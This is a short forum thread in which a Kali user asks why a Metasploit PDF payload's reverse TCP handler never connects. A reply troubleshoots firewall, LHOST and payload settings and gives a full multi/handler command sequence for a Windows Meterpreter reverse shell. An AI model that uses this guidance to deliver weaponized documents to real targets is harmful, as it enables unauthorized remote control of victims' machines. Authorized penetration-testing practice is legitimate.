Started reverse TCP handler on 192.168.XX:4444 problem

[javadovrufiq99]

Hi, I am a Kali Linux user,

and I used metasploit to create PDF payload but, nothing happens. I wait in this terminal screen. I couldn't solve this problem. Please, help me to solve this problem.

Not: I changed the port as 4545 but, it didn't work.

[ghost]

Hi

[ghost]

Same problem

[abhigyan17]

Based on your screenshot and problem description, I can see the reverse TCP handler is starting but not establishing connections. Here are the most common causes and solutions:

1. Firewall/Network Blocking:
The most likely issue is that your firewall is blocking incoming connections on port 4444. Try:

• Check if firewall is enabled: sudo ufw status
• Allow the port: sudo ufw allow 4444
• Test with a different high-numbered port (above 1024) to avoid permission issues

2. LHOST Misconfiguration:
Your reverse TCP handler needs to use an IP that the target can reach. Don't use 127.0.0.1:

• Use your actual machine IP (ifconfig to find it)
• If testing locally, ensure LHOST matches what the payload expects

3. Port Already in Use:
Check if port 4444 is already bound:

• sudo lsof -i :4444
• Kill any process using it: sudo kill -9 <PID>

4. Payload Mismatch:
Ensure your generated PDF payload is configured with:

• Correct LHOST (your Kali IP, not 192.168.XX)
• Correct LPORT (4444 or whatever port you're using)
• Correct payload type for your target

5. Meterpreter Session Not Calling Home:
The handler starts but waits for the payload to execute. Make sure:

• PDF was properly generated with msfvenom
• Target actually executes the PDF payload
• Network connectivity exists between target and attacker

Quick Test:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit

Also try running Metasploit with elevated privileges: sudo msfconsole as the handler might need root for certain operations.